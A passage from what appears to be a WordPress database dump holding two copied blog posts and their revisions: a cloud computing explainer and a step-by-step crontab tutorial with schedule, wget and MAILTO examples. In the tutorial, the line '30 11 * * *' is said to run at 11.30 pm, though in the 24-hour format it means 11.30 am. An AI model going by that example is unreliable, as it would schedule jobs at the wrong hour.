href=\"http://computer.howstuffworks.com/internet/basics/firefox.htm\">Firefox</a>. Other systems have unique applications that provide network access to clients.\r\n\r\nOn the back end of the system are the various computers, servers and data storage systems that create the \"cloud\" of computing services. In theory, a cloud computing system could include practically any computer program you can imagine, from data processing to video games. Usually, each application will have its own dedicated <a href=\"http://computer.howstuffworks.com/web-server.htm\">server</a>.\r\n\r\nA central server administers the system, monitoring traffic and client demands to ensure everything runs smoothly. It follows a set of rules called <strong>protocols</strong> and uses a special kind of software called <strong>middleware</strong>. Middleware allows networked computers to communicate with each other. Most of the time, servers don\'t run at full capacity. That means there\'s unused processing power going to waste. It\'s possible to fool a physical server into thinking it\'s actually multiple servers, each running with its own independent operating system. The technique is called server virtualization. By maximizing the output of individual servers, server virtualization reduces the need for more physical machines.\r\n\r\nIf a cloud computing company has a lot of clients, there\'s likely to be a high demand for a lot of storage space. Some companies require hundreds of digital storage devices. Cloud computing systems need at least twice the number of storage devices it requires to keep all its clients\' information stored. That\'s because these devices, like all computers, occasionally break down. A cloud computing system must make a copy of all its clients\' information and store it on other devices. The copies enable the central server to access backup machines to retrieve data that otherwise would be unreachable. Making copies of data as a backup is called <strong>redundancy</strong>.\r\n\r\nWhat are some of the applications of cloud computing? Keep reading to find out.\r\n<h1>Cloud Computing Applications</h1>\r\nThe applications of cloud computing are practically limitless. With the right middleware, a cloud computing system could execute all the programs a normal <a href=\"http://computer.howstuffworks.com/pc.htm\">computer</a> could run. Potentially, everything from generic word processing software to customized computer programs designed for a specific company could work on a cloud computing system.\r\n\r\nWhy would anyone want to rely on another computer system to run programs and store data? Here are just a few reasons:\r\n<ul>\r\n	<li>Clients would be able to access their applications and data from anywhere at any time. They could access the cloud computing system using any computer linked to the <a href=\"http://computer.howstuffworks.com/internet/basics/internet-start.htm\">Internet</a>. Data wouldn\'t be confined to a hard drive on one user\'s computer or even a corporation\'s internal network.</li>\r\n	<li>It could bring hardware costs down. Cloud computing systems would reduce the need for advanced hardware on the client side. You wouldn\'t need to buy the <a href=\"http://computer.howstuffworks.com/question54.htm\">fastest computer</a> with the most <a href=\"http://computer.howstuffworks.com/computer-memory.htm\">memory</a>, because the cloud system would take care of those needs for you. Instead, you could buy an inexpensive computer terminal. The terminal could include a <a href=\"http://computer.howstuffworks.com/monitor.htm\">monitor</a>, input devices like a <a href=\"http://computer.howstuffworks.com/keyboard.htm\">keyboard</a> and <a href=\"http://computer.howstuffworks.com/mouse.htm\">mouse</a> and just enough processing power to run the middleware necessary to connect to the cloud system. You wouldn\'t need a large hard drive because you\'d store all your information on a remote computer.</li>\r\n	<li>Corporations that rely on computers have to make sure they have the right software in place to achieve goals. Cloud computing systems give these organizations company-wide access to computer applications. The companies don\'t have to buy a set of software or software licenses for every employee. Instead, the company could pay a metered fee to a cloud computing company.</li>\r\n	<li>Servers and digital storage devices take up space. Some companies rent physical space to store servers and databases because they don\'t have it available on site. Cloud computing gives these companies the option of storing data on someone else\'s hardware, removing the need for physical space on the front end.</li>\r\n	<li>Corporations might save money on IT support. Streamlined hardware would, in theory, have fewer problems than a network of <strong>heterogeneous</strong> machines and <a href=\"http://computer.howstuffworks.com/operating-system.htm\">operating systems</a>.</li>\r\n	<li>If the cloud computing system\'s back end is a grid computing system, then the client could take advantage of the entire network\'s processing power. Often, scientists and researchers work with calculations so complex that it would take years for individual computers to complete them. On a grid computing system, the client could send the calculation to the cloud for processing. The cloud system would tap into the processing power of all available computers on the back end, significantly speeding up the calculation.</li>\r\n</ul>\r\nWhile the benefits of cloud computing seem convincing, are there any potential problems? Find out in the next section.\r\n<h1>Cloud Computing Concerns</h1>\r\nPerhaps the biggest concerns about cloud computing are <strong>security</strong> and <strong>privacy</strong>. The idea of handing over important data to another company worries some people. Corporate executives might hesitate to take advantage of a cloud computing system because they can\'t keep their company\'s information under <a href=\"http://home.howstuffworks.com/home-improvement/household-safety/security/lock.htm\">lock</a> and key.\r\n\r\nThe counterargument to this position is that the companies offering cloud computing services live and die by their reputations. It benefits these companies to have reliable security measures in place. Otherwise, the service would lose all its clients. It\'s in their interest to employ the most advanced techniques to protect their clients\' data.\r\n\r\nPrivacy is another matter. If a client can log in from any location to access data and applications, it\'s possible the client\'s privacy could be compromised. Cloud computing companies will need to find ways to protect client privacy. One way is to use <a href=\"http://computer.howstuffworks.com/computer-user-authentication-channel.htm\"><strong>authentication</strong></a> techniques such as user names and passwords. Another is to employ an <strong>authorization</strong> format -- each user can access only the data and applications relevant to his or her job.\r\n\r\nSome questions regarding cloud computing are more philosophical. Does the user or company subscribing to the cloud computing service own the data? Does the cloud computing system, which provides the actual storage space, own it? Is it possible for a cloud computing company to deny a client access to that client\'s data? Several companies, law firms and universities are debating these and other questions about the nature of cloud computing.\r\n\r\nHow will cloud computing affect other industries? There\'s a growing concern in the IT industry about how cloud computing could impact the business of computer maintenance and repair. If companies switch to using streamlined computer systems, they\'ll have fewer IT needs. Some industry experts believe that the need for IT jobs will migrate to the back end of the cloud computing system.\r\n\r\nAnother area of research in the computer science community is <strong>autonomic computing</strong>. An autonomic computing system is self-managing, which means the system monitors itself and takes measures to prevent or repair problems. Currently, autonomic computing is mostly theoretical. But, if autonomic computing becomes a reality, it could eliminate the need for many IT maintenance jobs.','How Cloud Computing Works','','publish','open','open','','how-cloud-computing-works','','','2014-07-21 09:06:46','2014-07-21 09:06:46','',0,'http://localhost/yalavarthitechnologies/blog/?p=90',0,'post','',0),(91,1,'2014-07-21 09:06:46','2014-07-21 09:06:46','<strong>Summary:</strong>\r\n\r\nsource:http://computer.howstuffworks.com/cloud-computing/\r\n\r\nLet\'s say you\'re an executive at a large corporation. Your particular responsibilities include making sure that all of your employees have the right hardware and software they need to do their jobs. Buying computers for everyone isn\'t enough -- you also have to purchase software or software licenses to give employees the tools they require. Whenever you have a new hire, you have to buy more software or make sure your current software license allows another user. It\'s so stressful that you find it difficult to go to sleep on your huge pile of money every night. Soon, there may be an alternative for executives like you. Instead of installing a suite of software for each computer, you\'d only have to load one application. That application would allow workers to log into a Web-based service which hosts all the programs the user would need for his or her job. Remote machines owned by another company would run everything from e-mail to word processing to complex data analysis programs. It\'s called cloud computing, and it could change the entire computer industry. In a cloud computing system, there\'s a significant workload shift. Local computers no longer have to do all the heavy lifting when it comes to running applications. The network of computers that make up the cloud handles them instead. Hardware and software demands on the user\'s side decrease. The only thing the user\'s computer needs to be able to run is the cloud computing system\'s interface software, which can be as simple as a Web browser, and the cloud\'s network takes care of the rest. There\'s a good chance you\'ve already used some form of cloud computing. If you have an e-mail account with a Web-based e-mail service like Hotmail, Yahoo! Mail or Gmail, then you\'ve had some experience with cloud computing. Instead of running an e-mail program on your computer, you log in to a Web e-mail account remotely. The software and storage for your account doesn\'t exist on your computer -- it\'s on the service\'s computer cloud. What makes up a cloud computing system? Find out in the next section.\r\n<h1>Cloud Computing Architecture</h1>\r\nWhen talking about a cloud computing system, it\'s helpful to divide it into two sections: the <strong>front end</strong> and the <strong>back end</strong>. They connect to each other through a <a href=\"http://computer.howstuffworks.com/home-network.htm\">network</a>, usually the <a href=\"http://computer.howstuffworks.com/internet/basics/internet-infrastructure.htm\">Internet</a>. The front end is the side the computer user, or client, sees. The back end is the \"cloud\" section of the system.\r\n\r\nThe front end includes the client\'s <a href=\"http://computer.howstuffworks.com/pc.htm\">computer</a> (or computer network) and the application required to access the cloud computing system. Not all cloud computing systems have the same user interface. Services like Web-based <a href=\"http://computer.howstuffworks.com/e-mail-messaging/email.htm\">e-mail</a> programs leverage existing Web browsers like Internet Explorer or <a href=\"http://computer.howstuffworks.com/internet/basics/firefox.htm\">Firefox</a>. Other systems have unique applications that provide network access to clients.\r\n\r\nOn the back end of the system are the various computers, servers and data storage systems that create the \"cloud\" of computing services. In theory, a cloud computing system could include practically any computer program you can imagine, from data processing to video games. Usually, each application will have its own dedicated <a href=\"http://computer.howstuffworks.com/web-server.htm\">server</a>.\r\n\r\nA central server administers the system, monitoring traffic and client demands to ensure everything runs smoothly. It follows a set of rules called <strong>protocols</strong> and uses a special kind of software called <strong>middleware</strong>. Middleware allows networked computers to communicate with each other. Most of the time, servers don\'t run at full capacity. That means there\'s unused processing power going to waste. It\'s possible to fool a physical server into thinking it\'s actually multiple servers, each running with its own independent operating system. The technique is called server virtualization. By maximizing the output of individual servers, server virtualization reduces the need for more physical machines.\r\n\r\nIf a cloud computing company has a lot of clients, there\'s likely to be a high demand for a lot of storage space. Some companies require hundreds of digital storage devices. Cloud computing systems need at least twice the number of storage devices it requires to keep all its clients\' information stored. That\'s because these devices, like all computers, occasionally break down. A cloud computing system must make a copy of all its clients\' information and store it on other devices. The copies enable the central server to access backup machines to retrieve data that otherwise would be unreachable. Making copies of data as a backup is called <strong>redundancy</strong>.\r\n\r\nWhat are some of the applications of cloud computing? Keep reading to find out.\r\n<h1>Cloud Computing Applications</h1>\r\nThe applications of cloud computing are practically limitless. With the right middleware, a cloud computing system could execute all the programs a normal <a href=\"http://computer.howstuffworks.com/pc.htm\">computer</a> could run. Potentially, everything from generic word processing software to customized computer programs designed for a specific company could work on a cloud computing system.\r\n\r\nWhy would anyone want to rely on another computer system to run programs and store data? Here are just a few reasons:\r\n<ul>\r\n	<li>Clients would be able to access their applications and data from anywhere at any time. They could access the cloud computing system using any computer linked to the <a href=\"http://computer.howstuffworks.com/internet/basics/internet-start.htm\">Internet</a>. Data wouldn\'t be confined to a hard drive on one user\'s computer or even a corporation\'s internal network.</li>\r\n	<li>It could bring hardware costs down. Cloud computing systems would reduce the need for advanced hardware on the client side. You wouldn\'t need to buy the <a href=\"http://computer.howstuffworks.com/question54.htm\">fastest computer</a> with the most <a href=\"http://computer.howstuffworks.com/computer-memory.htm\">memory</a>, because the cloud system would take care of those needs for you. Instead, you could buy an inexpensive computer terminal. The terminal could include a <a href=\"http://computer.howstuffworks.com/monitor.htm\">monitor</a>, input devices like a <a href=\"http://computer.howstuffworks.com/keyboard.htm\">keyboard</a> and <a href=\"http://computer.howstuffworks.com/mouse.htm\">mouse</a> and just enough processing power to run the middleware necessary to connect to the cloud system. You wouldn\'t need a large hard drive because you\'d store all your information on a remote computer.</li>\r\n	<li>Corporations that rely on computers have to make sure they have the right software in place to achieve goals. Cloud computing systems give these organizations company-wide access to computer applications. The companies don\'t have to buy a set of software or software licenses for every employee. Instead, the company could pay a metered fee to a cloud computing company.</li>\r\n	<li>Servers and digital storage devices take up space. Some companies rent physical space to store servers and databases because they don\'t have it available on site. Cloud computing gives these companies the option of storing data on someone else\'s hardware, removing the need for physical space on the front end.</li>\r\n	<li>Corporations might save money on IT support. Streamlined hardware would, in theory, have fewer problems than a network of <strong>heterogeneous</strong> machines and <a href=\"http://computer.howstuffworks.com/operating-system.htm\">operating systems</a>.</li>\r\n	<li>If the cloud computing system\'s back end is a grid computing system, then the client could take advantage of the entire network\'s processing power. Often, scientists and researchers work with calculations so complex that it would take years for individual computers to complete them. On a grid computing system, the client could send the calculation to the cloud for processing. The cloud system would tap into the processing power of all available computers on the back end, significantly speeding up the calculation.</li>\r\n</ul>\r\nWhile the benefits of cloud computing seem convincing, are there any potential problems? Find out in the next section.\r\n<h1>Cloud Computing Concerns</h1>\r\nPerhaps the biggest concerns about cloud computing are <strong>security</strong> and <strong>privacy</strong>. The idea of handing over important data to another company worries some people. Corporate executives might hesitate to take advantage of a cloud computing system because they can\'t keep their company\'s information under <a href=\"http://home.howstuffworks.com/home-improvement/household-safety/security/lock.htm\">lock</a> and key.\r\n\r\nThe counterargument to this position is that the companies offering cloud computing services live and die by their reputations. It benefits these companies to have reliable security measures in place. Otherwise, the service would lose all its clients. It\'s in their interest to employ the most advanced techniques to protect their clients\' data.\r\n\r\nPrivacy is another matter. If a client can log in from any location to access data and applications, it\'s possible the client\'s privacy could be compromised. Cloud computing companies will need to find ways to protect client privacy. One way is to use <a href=\"http://computer.howstuffworks.com/computer-user-authentication-channel.htm\"><strong>authentication</strong></a> techniques such as user names and passwords. Another is to employ an <strong>authorization</strong> format -- each user can access only the data and applications relevant to his or her job.\r\n\r\nSome questions regarding cloud computing are more philosophical. Does the user or company subscribing to the cloud computing service own the data? Does the cloud computing system, which provides the actual storage space, own it? Is it possible for a cloud computing company to deny a client access to that client\'s data? Several companies, law firms and universities are debating these and other questions about the nature of cloud computing.\r\n\r\nHow will cloud computing affect other industries? There\'s a growing concern in the IT industry about how cloud computing could impact the business of computer maintenance and repair. If companies switch to using streamlined computer systems, they\'ll have fewer IT needs. Some industry experts believe that the need for IT jobs will migrate to the back end of the cloud computing system.\r\n\r\nAnother area of research in the computer science community is <strong>autonomic computing</strong>. An autonomic computing system is self-managing, which means the system monitors itself and takes measures to prevent or repair problems. Currently, autonomic computing is mostly theoretical. But, if autonomic computing becomes a reality, it could eliminate the need for many IT maintenance jobs.','How Cloud Computing Works','','inherit','open','open','','90-revision-v1','','','2014-07-21 09:06:46','2014-07-21 09:06:46','',90,'http://localhost/yalavarthitechnologies/blog/?p=91',0,'revision','',0),(93,1,'2014-07-21 09:15:05','2014-07-21 09:15:05','<strong>Summary:</strong>\r\n\r\nThis article provides a step-by-step tutorial on how you can schedule such a task using a program named crontab.\r\n<h2>System Requirements</h2>\r\n<h3>1.      An Appropriate Operating System</h3>\r\nCron jobs, created using the command line program called crontab, require that your website be hosted on a Unix-type web server, such as Linux or one of the BSDs. Generally, if the web server that your site is on is running Windows, you cannot use this tutorial. Note that I am referring to the computer which your web host uses to place your site, not your own computer.\r\n<h3>2.      Shell Access or Control Panels Interface to Crontab</h3>\r\nYou also need to be able to connect to your web host using <a href=\"http://www.thefreecountry.com/webmaster/sshandtelnet.shtml\" target=\"_top\">telnet or SSH</a>. Alternatively, your web host must provide you a way to set the crontab tasks using their control panel.\r\n\r\nThis tutorial assumes that you have shell access, which means that you can connect to your web server using SSH or telnet and work from the command line on that computer. However, even if you can only set cronjobs from your web host\'s control panel, once you learn the basics of the crontab commands, you should be able to easily transfer that knowledge to using the control panel. As such, this tutorial should still be useful to you, since even the most user-friendly control panel I\'ve encountered is usually quite cryptic about how you can set up a cron job.\r\n\r\nNote: if you use a free web host, you probably do not have shell access. Neither do most of them allow you to set cron jobs even if their control panel has that facility. Generally, if you need to set a cron job, chances are that you will need a <a href=\"http://www.thefreecountry.com/webhosting/budget1.shtml\" target=\"_top\">commercial web host</a>.\r\n<h2>Overview</h2>\r\nBasically, we will start by creating a schedule. Then, we will feed this schedule to a program called <strong>crontab</strong>. Crontab will take the schedule and install it into an internal set of tables which it manages. At the appropriate time demanded by your schedule, another program called <strong>cron</strong> will execute the tasks you have set.\r\n<h2>Steps to Setting Up a Cronjob on Your Web Server</h2>\r\n<h3>1.      Figure out the schedule</h3>\r\nThe first thing you need to do is to figure out a schedule for your task. Do you want it run once a day? Hourly? Note that if you use a <a href=\"http://www.thefreecountry.com/webhosting/budget1.shtml\" target=\"_top\">shared web server</a>, where many websites reside on the same web servers, you should not run your cronjob too frequently, or you will affect the performance of both your website and the other sites hosted on the same computer (and get you booted off the web host as well). If you really need such a high frequency, you may need to get a <a href=\"http://www.thefreecountry.com/webhosting/virtual-private-servers-vps.shtml\" target=\"_top\">virtual private server</a> or even a <a href=\"http://www.thefreecountry.com/webhosting/dedicated-servers.shtml\" target=\"_top\">dedicated server</a> where you have the machine to yourself.\r\n<h3>2.      Figure out how to write the schedule for crontab</h3>\r\nThe next thing you need to do is to write your schedule in a way so that crontab will understand it. The crontab format is somewhat arcane and cryptic, so we will take this step by step.\r\n\r\nThe basic format of a crontab schedule consists of 6 fields, separated by spaces, formatted as follows:\r\n<pre>minute hour day month day-of-week command-line-to-execute</pre>\r\nThe acceptable values for each of the 6 fields are:\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td>\r\n<p align=\"center\"><b>Field</b><b></b></p>\r\n</td>\r\n<td>\r\n<p align=\"center\"><b>Range of values</b><b></b></p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>minute</td>\r\n<td>0-59</td>\r\n</tr>\r\n<tr>\r\n<td>hour</td>\r\n<td>0-23</td>\r\n</tr>\r\n<tr>\r\n<td>day</td>\r\n<td>1-31</td>\r\n</tr>\r\n<tr>\r\n<td>month</td>\r\n<td>1-12</td>\r\n</tr>\r\n<tr>\r\n<td>day-of-week</td>\r\n<td>0-7 (where both 0 and 7 mean Sun, 1 = Mon, 2 = Tue, etc)</td>\r\n</tr>\r\n<tr>\r\n<td>command-line-to-execute</td>\r\n<td>the command to run along with the parameters to that command if any</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nThe fields have to be in that exact order, with no empty or missing fields.\r\n\r\n\"<strong>Minute</strong>\" is a number from 0 to 59. \"<strong>Hour</strong>\" is a number from 0 to 23. They represent the time of the day in a 24-hour day format, so for example, if you want a certain command to run at 5.30 am, you will have to code it as:\r\n<pre>30 5</pre>\r\nIf you want something run at 8 pm, it has to be coded as\r\n<pre>0 20</pre>\r\nsince 2000 hours is 8 pm in the 24-hour time format.\r\n\r\n\"<strong>Day</strong>\" and \"<strong>month</strong>\" refer to dates. \"Day\" takes a value between 1 and 31, and \"month\", as you may have already guessed, can take any value between 1 and 12. So if you want a command run on 5th January at 9.15 am, your schedule should begin with the following:\r\n<pre>15 9 5 1</pre>\r\n\"<strong>Day-of-week</strong>\" means basically which day you want your command to run. If you want your command to run on Sundays, use either 0 or 7 here. If you want it on Monday, use 1. (Note: if you are getting worried at this point how to combine all the various fields, some of which seem to contradict the other, don\'t worry. We\'re getting to that.)\r\n\r\nThe trick to scheduling things, say, once a day, or once in 2 hours or the like, is to use a <strong>wildcard character</strong>. A wildcard character is like the Joker in a pack of playing cards, that is, something that can represent any card in the pack. In a crontab file, the wildcard character \"<strong>*</strong>\" (the asterisk, without the quotes), represents every possible value for the field.\r\n\r\nIf you want a particular program to run, say, once every day at 10.45 am, the time portion of the cron schedule should read:\r\n<pre>45 10 * * *</pre>\r\nHere\'s how to read the above line.\r\n\r\nThe first two fields \"45 10\" means that you want it to run at 10.45. The next field, the day field, is set to * (the asterisk character) to show that we\'re talking about 10.45 every day, not just the 1st of the month (which would be \"1\") or the 30th of the month (\"30\") or some other number.\r\n\r\nThe month field is set to the asterisk as well. If we set some number in the month field, say \"2\", we will be saying that we only want the command to run at 10.45 in the month of February (\"2\"). Since that\'s not what we need, we put the asterisk to mean every month.\r\n\r\nSimilarly, the day-of-week field is set to the asterisk, because we want the command to run whether it\'s Sunday (\"0\") or Monday (\"1\") or whatever day.\r\n<h3>More Examples: An Hourly Schedule</h3>\r\nNow if you want a job to run every hour on the hour, you will have to set the time component of the crontab line as follows:\r\n<pre>0 * * * *</pre>\r\nCan you see why? The \"0\" means at the top of the hour, that is, when the minute readout on a digital clock shows \"00\". The asterisk in the hour field means every single hour. In other words, every hour, on the hour.\r\n<h3>Alternate Hour or 3 Hourly Schedule</h3>\r\nIf you want something to run once every two hours, you will have to use the slash, \"/\", character in your field. The slash character is the \"step\" character. In the case of a two hourly schedule, your time component of your cron file will read:\r\n<pre>0 */2 * * *</pre>\r\nThe second field, \"*/2\", means every alternate hour.\r\n\r\nSimilarly, if you want something to run every 3 hours, you can change that field to \"*/3\", and so on.\r\n<h3>Other Examples</h3>\r\nIf you want a particular command to run only at 8.00am on the 1st and 20th of every month, you should code the time as:\r\n<pre>0 8 1,20 * *</pre>\r\nThe comma, \",\", means \"and\". If you are confused by the above line, remember that spaces are the field separators, not commas.\r\n\r\nWhat does the following schedule mean?\r\n<pre>2 3 4,5 6 7</pre>\r\nDecoded, the above line says at 3:02 am on the 4th and 5th of June (6) <strong>and</strong> on every Sunday (7), run your program.\r\n\r\nThere are other possibilities in the time fields, and I won\'t go through all of them, since you already know enough to be able to construct whatever schedule you need.\r\n<h3>3.      How to specify the command line</h3>\r\nThe command-line-to-execute portion of the schedule is basically the command you want run at the specified time. For example, if you have a Perl script called \"whatever.pl\" that you want run every day at 11.30 pm, your crontab schedule might read as follows:\r\n<pre>30 11 * * * /your/directory/whatever.pl</pre>\r\nIf your script is one of those that must be called from a web browser, like \"cron.php\" on a Drupal installation, you will need to use a command called \"wget\". Technically speaking, wget is not really a browser, but it works adequately like one for our purpose here, which is to simply get the web server to run the script called \"cron.php\".\r\n<pre>30 11 * * * /usr/bin/wget http://www.example.com/cron.php</pre>\r\nIn this case, you will need to specify the full path to wget since, for security reasons, the cron program (not the cron.php script) usually executes in a sort of clean environment, which means that it won\'t know how to find the command \"wget\" unless you tell it where it is.\r\n\r\nAnother important thing to note about this crontab line that we\'re constructing is that the entire line, schedule and command to execute, must fit into one line. You cannot put it into two lines for aesthetic reasons even if your command is very long.\r\n<h3>4.      How to be notified of errors</h3>\r\nSince you are running your script as a scheduled task, there will be nobody there to view its output. By default, cron will send any output from the script in an email to you, if it knows your email address.\r\n\r\nIf your script is very talkative, and issues all sort of information when it executes, you\'ll probably want to shut it up (unless you are starved for email messages). To do this, we need to send all the normal output to a place called \"/dev/null\" which is basically like a black hole. It accepts anything you dump there, but you will never see it again. In the case of our first example, modify the command line to read:\r\n<pre>30 11 * * * /your/directory/whatever.pl &gt;/dev/null</pre>\r\nThe \"&gt;\" sign means to redirect every normal message sent to screen to whatever is next in the command line, which, in our case, is /dev/null. If your script is designed to work correctly in a Unix environment, only the normal output will be swallowed up. Error messages will still be processed by the cron program. This is desirable, since you will want to informed when something is wrong so that you can fix the problem.\r\n\r\nTo receive the remaining unredirected messages, you will need to add another line to your crontab schedule to specify your email address. Use the following format:\r\n<pre>MAILTO=myemailaddress@example.com</pre>\r\n<pre>30 11 * * * /your/directory/whatever.pl &gt;/dev/null</pre>\r\nThe MAILTO line must be on a separate line. It is optional. That is, you don\'t have to specify it if you don\'t want to. Depending on how your web host has set up the system, cron might still be able to successfully send you error messages. If you really don\'t want to hear from cron at all, you will need to make your MAILTO line look like this:\r\n<pre></pre>\r\n<pre>MAILTO=\"\"</pre>\r\n&nbsp;\r\n<h3>5.      Create a text file with all the necessary lines</h3>\r\nThere are many ways to feed all the lines you\'ve constructed so far to crontab. I think the least problematic way for newcomers is to create an ASCII text file on your own computer containing all the needed lines. Use an <a href=\"http://www.thefreecountry.com/programming/editors.shtml\" target=\"_top\">ASCII text editor</a> to do this. If you use Windows, use the program called Notepad, found in the Accessories folder of your Start menu. Do not use Microsoft Office or Word or some such <a href=\"http://www.thefreecountry.com/utilities/wordprocessors.shtml\" target=\"_top\">fancy word processor program</a>.\r\n\r\nOpen a new document with your text editor, and type in the MAILTO line and your schedule (or just your schedule alone if you don\'t want to be notified when an error occurs). Remember, everything must fit into one line. Do not allow your editor to wrap the line. After you have typed in your line, hit the ENTER (or RETURN key on the Mac) so that your cursor is on a new blank line just after your schedule. Read that last sentence again; it\'s important.\r\n\r\nSave the file using any name, but with a \".txt\" extension. You especially need to do this if you are using a system like Windows which use a different line ending from Unix systems. The \".txt\" extension will cause your FTP program to <a href=\"http://www.thefreecountry.com/tofrodos/index.shtml\" target=\"_top\">translate the line ending to a Unix line ending</a> when it uploads the file. If you\'re not sure, just name the file \"crontab.txt\" (whatever system you happen to be using), and you should be fine.\r\n<h3>6.      Upload the file to your web server using an FTP program</h3>\r\nNow <a href=\"http://www.thesitewizard.com/gettingstarted/howtoupload.shtml\" target=\"_top\">upload the file to your site using your FTP program</a>. The file must be uploaded in ASCII mode, which your FTP program will probably automatically do when it sees that you\'re uploading a file with a \".txt\" extension.\r\n<h3>7.      Connect to your web server\'s shell account</h3>\r\nConnect to your web host\'s shell using your telnet or SSH software. If you don\'t have one, download one from the <a href=\"http://www.thefreecountry.com/webmaster/sshandtelnet.shtml\" target=\"_top\">Free SSH (Secure Shell) and Telnet Clients</a> page. I will not go into the details of how you should use the software to log into your shell account, since the method varies according to the program you have downloaded. Ask your web host if you have problems.\r\n<h3>8.      Invoke crontab to set your cron job</h3>\r\nFrom the shell command line, go to where you uploaded your crontab.txt file. You can use \"cd\" (which means \"change directory\") to change to the appropriate directory. Then type in the line below followed by the ENTER key (or RETURN key on the Mac).\r\n\r\n<kbd>crontab crontab.txt </kbd>\r\n\r\nwhere crontab.txt is the name of the file you created and uploaded earlier.\r\n\r\nThat command will cause the program \"crontab\" to install your cronjob. At the appropriate time, a separate program called \"cron\" will execute your job. If you are returned back to the shell prompt with no messages, it means all was well, and you can check that your schedule was correctly set by using the following command:\r\n\r\n<kbd>crontab -l </kbd>\r\n\r\nwhere the \"-l\" means list all the schedules or cronjobs that you have set so far. If you find you made a mistake, or if you wish to reschedule your tasks, you can remove the existing schedules with the following command:\r\n\r\n<kbd>crontab -r </kbd>\r\n\r\nYou can add more schedules the same way. Put all your different schedules into a single crontab file. The first line should be your MAILTO line, followed by each schedule/command on a separate line. When you run \"crontab crontab.txt\" later, crontab will replace your existing schedule with the schedules in your new crontab.txt.\r\n\r\nOnce you\'ve completed everything, you can delete your crontab.txt file. It\'s no longer needed.\r\n<h2>Dealing with Error Messages from Crontab</h2>\r\nIf you received an error message when you used \"crontab crontab.txt\", you probably made a mistake creating your crontab file. Here are the common errors:\r\n<ol>\r\n	<li>You split your schedule/command line into more than one line. Every scheduled task must fit into a single line. Do not allow your text editor to wrap it to another line. Switch off the word wrap feature in your editor if it has one.</li>\r\n	<li>You did not end your file in a new line. That is, you failed to hit the ENTER (or RETURN) key after your last command line in the crontab.txt file.</li>\r\n	<li>You did not upload the file in ASCII mode. Name your file with a .txt extension to have your FTP program automatically convert it. Alternatively, learn how to change the FTP upload mode to ASCII.</li>\r\n	<li>You used a word processor to create your crontab file. If the editor you were using allows you to do things like underline text, make nice bullet points, or do anything fancy besides typing raw text, you\'re probably using the wrong program.</li>\r\n</ol>','How to Create a Cron Job (Scheduled Task) for Your Website','','publish','open','open','','how-to-create-a-cron-job-scheduled-task-for-your-website','','','2014-07-21 09:15:06','2014-07-21 09:15:06','',0,'http://localhost/yalavarthitechnologies/blog/?p=93',0,'post','',0),(94,1,'2014-07-21 09:15:06','2014-07-21 09:15:06','<strong>Summary:</strong>\r\n\r\nThis article provides a step-by-step tutorial on how you can schedule such a task using a program named crontab.\r\n<h2>System Requirements</h2>\r\n<h3>1.      An Appropriate Operating System</h3>\r\nCron jobs, created using the command line program called crontab, require that your website be hosted on a Unix-type web server, such as Linux or one of the BSDs. Generally, if the web server that your site is on is running Windows, you cannot use this tutorial. Note that I am referring to the computer which your web host uses to place your site, not your own computer.\r\n<h3>2.      Shell Access or Control Panels Interface to Crontab</h3>\r\nYou also need to be able to connect to your web host using <a href=\"http://www.thefreecountry.com/webmaster/sshandtelnet.shtml\" target=\"_top\">telnet or SSH</a>. Alternatively, your web host must provide you a way to set the crontab tasks using their control panel.\r\n\r\nThis tutorial assumes that you have shell access, which means that you can connect to your web server using SSH or telnet and work from the command line on that computer. However, even if you can only set cronjobs from your web host\'s control panel, once you learn the basics of the crontab commands, you should be able to easily transfer that knowledge to using the control panel. As such, this tutorial should still be useful to you, since even the most user-friendly control panel I\'ve encountered is usually quite cryptic about how you can set up a cron job.\r\n\r\nNote: if you use a free web host, you probably do not have shell access. Neither do most of them allow you to set cron jobs even if their control panel has that facility. Generally, if you need to set a cron job, chances are that you will need a <a href=\"http://www.thefreecountry.com/webhosting/budget1.shtml\" target=\"_top\">commercial web host</a>.\r\n<h2>Overview</h2>\r\nBasically, we will start by creating a schedule. Then, we will feed this schedule to a program called <strong>crontab</strong>. Crontab will take the schedule and install it into an internal set of tables which it manages. At the appropriate time demanded by your schedule, another program called <strong>cron</strong> will execute the tasks you have set.\r\n<h2>Steps to Setting Up a Cronjob on Your Web Server</h2>\r\n<h3>1.      Figure out the schedule</h3>\r\nThe first thing you need to do is to figure out a schedule for your task. Do you want it run once a day? Hourly? Note that if you use a <a href=\"http://www.thefreecountry.com/webhosting/budget1.shtml\" target=\"_top\">shared web server</a>, where many websites reside on the same web servers, you should not run your cronjob too frequently, or you will affect the performance of both your website and the other sites hosted on the same computer (and get you booted off the web host as well). If you really need such a high frequency, you may need to get a <a href=\"http://www.thefreecountry.com/webhosting/virtual-private-servers-vps.shtml\" target=\"_top\">virtual private server</a> or even a <a href=\"http://www.thefreecountry.com/webhosting/dedicated-servers.shtml\" target=\"_top\">dedicated server</a> where you have the machine to yourself.\r\n<h3>2.      Figure out how to write the schedule for crontab</h3>\r\nThe next thing you need to do is to write your schedule in a way so that crontab will understand it. The crontab format is somewhat arcane and cryptic, so we will take this step by step.\r\n\r\nThe basic format of a crontab schedule consists of 6 fields, separated by spaces, formatted as follows:\r\n<pre>minute hour day month day-of-week command-line-to-execute</pre>\r\nThe acceptable values for each of the 6 fields are:\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td>\r\n<p align=\"center\"><b>Field</b><b></b></p>\r\n</td>\r\n<td>\r\n<p align=\"center\"><b>Range of values</b><b></b></p>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>minute</td>\r\n<td>0-59</td>\r\n</tr>\r\n<tr>\r\n<td>hour</td>\r\n<td>0-23</td>\r\n</tr>\r\n<tr>\r\n<td>day</td>\r\n<td>1-31</td>\r\n</tr>\r\n<tr>\r\n<td>month</td>\r\n<td>1-12</td>\r\n</tr>\r\n<tr>\r\n<td>day-of-week</td>\r\n<td>0-7 (where both 0 and 7 mean Sun, 1 = Mon, 2 = Tue, etc)</td>\r\n</tr>\r\n<tr>\r\n<td>command-line-to-execute</td>\r\n<td>the command to run along with the parameters to that command if any</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nThe fields have to be in that exact order, with no empty or missing fields.\r\n\r\n\"<strong>Minute</strong>\" is a number from 0 to 59. \"<strong>Hour</strong>\" is a number from 0 to 23. They represent the time of the day in a 24-hour day format, so for example, if you want a certain command to run at 5.30 am, you will have 